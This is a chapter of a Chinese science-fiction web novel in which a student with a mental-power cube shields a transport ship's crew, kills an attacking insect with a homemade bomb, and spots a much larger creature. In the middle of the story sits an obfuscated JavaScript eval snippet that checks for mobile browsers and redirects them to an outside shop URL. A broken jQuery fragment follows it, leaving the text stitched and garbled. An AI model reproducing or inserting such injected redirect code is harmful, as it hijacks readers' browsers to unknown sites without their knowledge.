右侧舱壁被压出大片凹痕,每一次撞击,四周都跟着震动。
另一名安保人员半跪在地上,肩膀抵着一块临时防护板,能源枪口牢牢对准舱壁中央。
“舰长正在改变航向,想把它甩出去。”带她们进来的安保队长言简意赅,“防卫队抵达前,不能让它撕开这一层。”
他指向舱壁前方。
“建立屏障。拦冲击和碎片。能做到吗?”
姜籽点头。
她抬起手。
一枚黑银色的魔方在掌心上方无声浮现。
魔方只有拳头大小,表面没有明显光纹,其中一块却轻轻转动了一格。
半透明的精神屏障沿着舱壁前方展开。
没有刺眼的光,也没有夸张的声势,只像在空气里竖起了一层极薄的玻璃。
安保队长扫了一眼她胸前标着B级的识别徽章,没有多问。
“撑住。”
下一次撞击来得极快。
整面舱壁猛然向内一震,裂开的金属碎片被冲击卷起,狠狠撞上屏障。
姜籽手腕一沉。
魔方表面掠过一道灰白色的光,像是将迎面而来的力量吞进去了一部分。剩下的冲击沿着屏障向两边滑开,砸在舱室两侧。
两名安保人员同时开火。
能源弹穿过舱壁裂口,外面传来尖锐的嘶鸣。
裂甲虫的前肢重重扫过舰身,震得头顶灯光明灭不定。
“还有四分钟。”舰长的声音从通讯器里传来,“右侧推进受损,无法完成大角度翻转。”
“收到。”安保队长回答,“后舱暂时守得住。”
他说完转向明栀。
“精神体能出去吗?”
明栀的呼吸停了一下。
她闭上眼睛,再睁开时,眼底的慌乱已经被压了下去。
六点赤红色的微光从她身后浮现,迅速凝聚成六只巴掌大小的蜂鸟。
它们振动着近乎透明的翅膀,从舱壁裂口附近分散飞出。
她的瞳孔微微收缩。
“虫头在上方。左侧第二条前肢有旧伤,关节处的甲片没有完全合拢。”
她说话的声音和刚才判若两人,干净、准确,没有一句多余的话。
安保队长立即调整枪口。
能源枪再次射击。
外面的嘶鸣陡然拔高。
扣在舰身上的虫肢骤然收紧,整面舱壁发出令人牙酸的扭曲声。
姜籽面前的屏障猛地向内弯折。
魔方转了一格。
原本集中压向中央的力量被拆开,分别撞向两侧。姜籽虎口瞬间裂开一道细口,血顺着掌心滑下去。
没有人注意。
所有人的目光都落在那道迅速扩大的裂口上。
暗褐色的虫肢从外面捅了进来,尖端像一柄弯曲的长矛,擦过安保队长的肩膀,重重钉进地面。
另一个跟进来的新生终于忍不住释放了精神力。
一道明亮的火焰砸在虫肢上,除了将甲片熏黑,没有造成任何有效伤害。
裂甲虫受到刺激,虫肢猛地横扫。
男生来不及躲避,被安保人员一把拽倒。
“说了不准擅自攻击!”
安保队长厉声喝道。
那条虫肢已经开始向外回撤。
姜籽盯着它关节处尚未闭合的伤口,右手伸进外套内侧,摸出一枚指节大小的黑色圆片。
舰体恰好在这一刻再次倾斜。
所有人的身体都被惯性带向右侧。姜籽却主动松开扶着舱壁的手,顺着倾斜的方向滑了出去。
“小心!”
安保队长以为她失去平衡,下意识伸手去抓。
姜籽已经踩上翻倒的工具箱。
她借着滑行的速度一脚蹬住箱沿,整个人腾空而起,左手抓住裂口上方外翻的钢梁,身体擦着虫肢荡了过去。
那条正在退出的前肢被她一脚踏住。
裂甲虫猛地一甩。
姜籽没有试图和它对抗。
她顺着那股力向上一荡,身体几乎探出舰外。星空与巨大的虫头在视野中骤然逼近,裂甲虫口器张开,层层倒齿向她咬下。
后舱里有人骂了一声。
姜籽抬手,将一块沾着虫液的金属碎片砸向它左侧复眼。
裂甲虫头颅猛地偏了一下。
口器随之改变方向,朝着她狠狠撞来。
姜籽等的就是这一刻。
她松开钢梁,没有后退,反而借着虫头撞来的力量向前。
倒齿擦过她的外套下摆。
她左手撑住裂甲虫口器外侧的甲壳,右手已经将那枚黑色圆片狠狠拍进了它张开的口器深处。
圆片表面红光一闪。
姜籽一脚蹬在虫甲上,借力翻回舱内。
她落地时膝盖重重磕了一下,没有停顿,抬手重新撑起屏障。
“趴下。”
安保队长甚至没来得及追问。
下一秒。
轰!
爆炸声从裂甲虫体内炸开。
没有刺目的火光,只有一声沉闷得令人胸腔发颤的巨响。
裂甲虫的头部猛地向后仰去,黑绿色黏液从口器深处喷出,拍在屏障上。
它扣住舰身的节肢失去控制,疯狂抓挠着外壳。
整艘运输舰剧烈震动。
姜籽脚下滑出半步,魔方在掌心上方高速转动,硬生生截住了迎面扑来的冲击。
安保队长抓住机会连续开火。
能源弹全部射进口器内部尚未闭合的伤口。裂甲虫发出最后一声尖啸,六条节肢接连松开,从运输舰右侧翻滚着脱离出去。
后舱短暂地安静下来。
安保队长看了姜籽一眼。
她仍站在原来的位置,脸上没有太多表情,仿佛刚才差点被虫族一口咬掉半个身体的人不是她。
“你刚才扔进去的是什么?”
“精神炸弹。”
“帝国民用航运条例禁止乘客携带□□。”
“那是精神力小方块。”姜籽从善如流。
安保队长盯着她。
“有商品编号吗?”
“没有。”
“谁做的?”
姜籽擦掉掌心的血。
“我。”
安保队长闭了闭眼。
那一瞬间,他的表情很像已经提前看见了事故报告的厚度。
后舱里没人说话。
只剩下运输舰受损后持续不断的低鸣,以及某块金属板松动后轻轻撞击舱壁的声音。
一下。
又一下。
刚才被安保人员拽倒的男生撑着地面坐起来,胸口剧烈起伏。他看了看舱壁上的裂口,又看向姜籽,嘴唇动了半天,最后只憋出一句。
“你真的是辅助型?”
姜籽从忙着理袖子,抽口看他一眼,抬手敲敲徽章。
表情要多无辜有多无辜。
男生看向她胸前那个清清楚楚的B级标志,第一次对帝国精神力检测体系产生了发自内心的怀疑。
明栀靠着舱壁,手里的长枪还没有放下。
她的脸色依旧发白,握住枪柄的手也在轻微发抖。
可当那只裂甲虫真正从运输舰上脱离后,她还是长长地吐出了一口气。
“咱可真棒。”她悄咪咪对自己说。
另一名安保人员走到裂口旁,确认外面的虫族正在远离,紧绷的肩膀终于松下来。
“舰体右侧压力下降。”
通讯器里很快传来舰长的声音。
“附着目标已脱离。右侧外层装甲严重受损,后舱隔离结构保持完整。”
客舱方向隐约响起一阵哭声。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815543|211045||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
像绷紧到极点后终于松开的宣泄。有人开始低声安慰身边的人,乘务员重新组织乘客返回座位。
安保队长按住肩上的伤口,靠着舱壁喘了一口气。
“还有两分钟。”
银垣星防卫队再过两分钟就能抵达。
那只裂甲虫已经解决。
运输舰的核心结构也还算完整。
怎么看,他们都撑过去了。
明栀显然也是这么想的。
她将长枪末端抵在地面,刚想说话,却发现姜籽始终没有收回屏障。
黑银色魔方仍悬浮在她掌心上方,缓慢转动。
她顺着她的目光看去。
“怎么了?”
姜籽没有回答。
她望着舱壁裂口外。
那只被炸死的裂甲虫的残肢在漆黑的宇宙里翻滚,暗褐色甲壳时隐时现,很快便被运输舰逐渐甩在后方。
周围没有其他异常。
至少看起来没有。
可姜籽总觉得太安静了。
裂甲虫不是擅长追击的虫族。
它们依附矿石和废弃舰体生存,领地意识很强,遇到危险时通常会立刻脱离,很少紧追一艘正在离开航道的运输舰。
而刚刚那只从来没有挣扎着想要逃走。
也没有试图重新抓住舰体。
那几秒里,它所有的动作都在向运输舰后方偏移。
像是在避开什么东西。
姜籽盯着那片黑暗。
运输舰正在加速,银垣星的光从远处照过来,只能勉强勾勒出附近漂浮的金属碎片。
残肢起起伏伏。
其中一块忽然消失了。
像是撞上了某个藏在黑暗里的东西,被无声地遮住。
姜籽眯起眼。
“把你的精神体收回来。”
明栀一怔。
“什么?”
“外面不对。”
安保队长刚刚放松的神情瞬间凝住。
“发现什么了?”
“还没有。”
姜籽看着裂口之外。
“所以才不对。”
话音落下,遥远的黑暗里亮起了一点红光。
很小。
最初只有针尖那么大,安静地悬浮在运输舰后方。
紧接着,旁边又亮起第二点。
两道红光之间隔着极远的距离,乍看之下,像是航道附近某种无人设备的信号灯。
可它们同时眨了一下。
缓慢地。
带着某种活物特有的黏滞感。
后舱里刚刚升起的那点轻松彻底消失了。
明栀猛地抬起长枪。
六只赤尾蜂鸟从她身后冲出,沿着裂口飞向舰外。
被一道屏障尽数挡回。
“收起来。”
姜籽瞥她一眼,手里的方块飞速转动,头也不回地扔几个圆球。
圆球滚到明栀的腿边,金属片瞬间散开,沿腿部向上迅速咬合,几秒就覆盖了全身。
安保队的大家盯着自己的左右胳膊看了又看。
感受到自己的识海被一层薄薄的精神力包裹着护住。
一时半会儿不知道该担心外面的情况还是惊叹这幅装备。
“这也是你做的??!”
“豪~家伙儿!”
红光越来越亮。
黑暗也随之显露出一部分轮廓。
“租金一万星币,下飞船结账。”
先是两片弯曲的甲壳。
“你大爷!”
随后是向外延伸的粗大节肢。
那东西一直伏在运输舰后方,庞大的身体几乎与星空融为一体。先前那只近十米长的裂甲虫在它面前,只占据了不到一条前肢的长度。
那两点红光根本不是什么信号灯。
是眼睛。